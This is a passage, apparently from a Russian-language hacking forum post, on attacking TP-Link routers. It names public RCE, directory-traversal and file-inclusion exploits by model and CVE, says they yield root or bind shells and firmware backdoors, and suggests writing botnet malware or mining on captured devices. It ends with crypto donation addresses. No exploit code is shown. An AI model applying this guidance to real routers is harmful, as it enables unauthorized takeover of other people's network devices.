- ifconfig: Конфигурация сетевых интерфейсов.
- ping: Отправка ICMP-пакетов для проверки доступности узлов в сети.
- traceroute: Отслеживание маршрута до узла.
- wget: Загрузка файлов из сети.
- curl: Получение данных по URL с использованием различных протоколов.
- ssh: Установка SSH-соединения с удаленным хостом.
- telnet: Установка Telnet-соединения с удаленным хостом (если поддерживается).
- route: Управление таблицей маршрутизации.
- mount: Монтирование файловых систем.
- umount: Размонтирование файловых систем.
- df: Отображение информации о доступном месте на диске.
- chmod: Изменение прав доступа к файлам и каталогам.
- chown: Изменение владельца и группы файлов и каталогов.
Как мы знаем, ОС роутеров TP-Link и вообще других производителей сетевого оборудования основаны на ядре Unix/Linux. С помощью некоторых RCE эксполитов мы сможем производить свои команды в ядре роутера TP-Link.
TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated). CVE-2022-48194 . remote exploit for Hardware platform
С помощью перепрошивки роутера TP-Link TL-WR902AC, эксплоит устанавливает в кастомной прошивке бэкдор, который позволяет получить консольную оболочку с рут правами к ядру роутера.
TP-Link WDR4300 - Remote Code Execution (Authenticated)
TP-Link WDR4300 - Remote Code Execution (Authenticated)
TP-Link WDR4300 - Remote Code Execution (Authenticated). CVE-2017-13772 . remote exploit for Hardware platform
Эксплоит нам предоставляет Bind shell оболочку к взломанному роутеру TP-Link.
После получения рутового шела к ядру, мы полностью захопили железку! Мы можем изучать ядро, писать мальвари под роутер (например ботнеты) или даже майнить.
Эксплуатируем уязвимости типа “Authenticated”
Использование этих эксплоитов возможно только имея доступ либо к админке оборудования либо к локальной сети в которой находится оборудование.К примеру, большая часть RCE эксплоитов будет работать только если мы выдадим эксплоиту креды от админки.
TP-Link TL-WR740N - Authenticated Directory Transvers
TP-Link TL-WR740N - Authenticated Directory Transversal
TP-Link TL-WR740N - Authenticated Directory Transversal.. webapps exploit for Hardware platform
Этот эксплоит позволяет просматривать файлы системы и ядра, а также вытягивать и анализировать их.
TP-Link TL-WR841N Router - Local File Inclusion
TP-Link TL-WR841N Router - Local File Inclusion
TP-Link TL-WR841N Router - Local File Inclusion.. webapps exploit for Hardware platform
эксплоит для этой модели роутера работает аналогично.
Итоги
Мы начали статью с обзора устройств TP-Link и актуальности атак на них. Введение позволило нам понять, почему проведение тестирования на проникновение на таких устройствах является актуальной и важной задачей.В разделе сбора информации мы рассмотрели методы определения наличия устройств TP-Link в сети, определения версии прошивки и анализа активных служб. Это помогло нам сформировать базу для последующих этапов анализа и атак.
Проанализировав слабые точки в безопасности, мы перешли к брутфорс атакам. Мы попытались проникнуть в систему, используя методы брутфорса для веб-панели, FTP и SSH. Это позволило нам определить, насколько эффективны и защищены данные точки входа.
Основываясь на списке уязвимостей, мы исследовали потенциальные атаки через эксплоиты, такие как RCE, обход аутентификации, инъекции команд, межсайтовая атака сценариев и атаки DoS. Эти атаки позволили нам демонстрировать, как устройства TP-Link могут быть подвержены различным типам угроз.
После успешных атак, мы перешли к этапу постэксплуатации. Здесь мы исследовали способы расширения нашего контроля над устройством, включая проникновение в локальную сеть, атаку DNS Spoofing, настройку VPN для личного использования и получение удаленного доступа (шелла) к устройству.
В заключение, данная статья позволила нам более глубоко понять потенциальные риски и уязвимости устройств TP-Link, а также проиллюстрировать, как различные методы атак могут быть использованы для получения несанкционированного доступа к системе.
BTC: bc1qmku9gh5qxy2j8dh9c657rvum80a4cagx803j54
ETH: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
USDT TRC20: TMeeM2prwn7pShvYNcwLCNKmNAM48BmqGc
USDT ERC20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
BUSD BEP20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
ETH: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
USDT TRC20: TMeeM2prwn7pShvYNcwLCNKmNAM48BmqGc
USDT ERC20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
BUSD BEP20: 0x449A9Fc080e48315968Cd47DBdD619B3519B9151
Автор: Gufi
Сделано специально для xss.pro!
Вложения
Последнее редактирование модератором: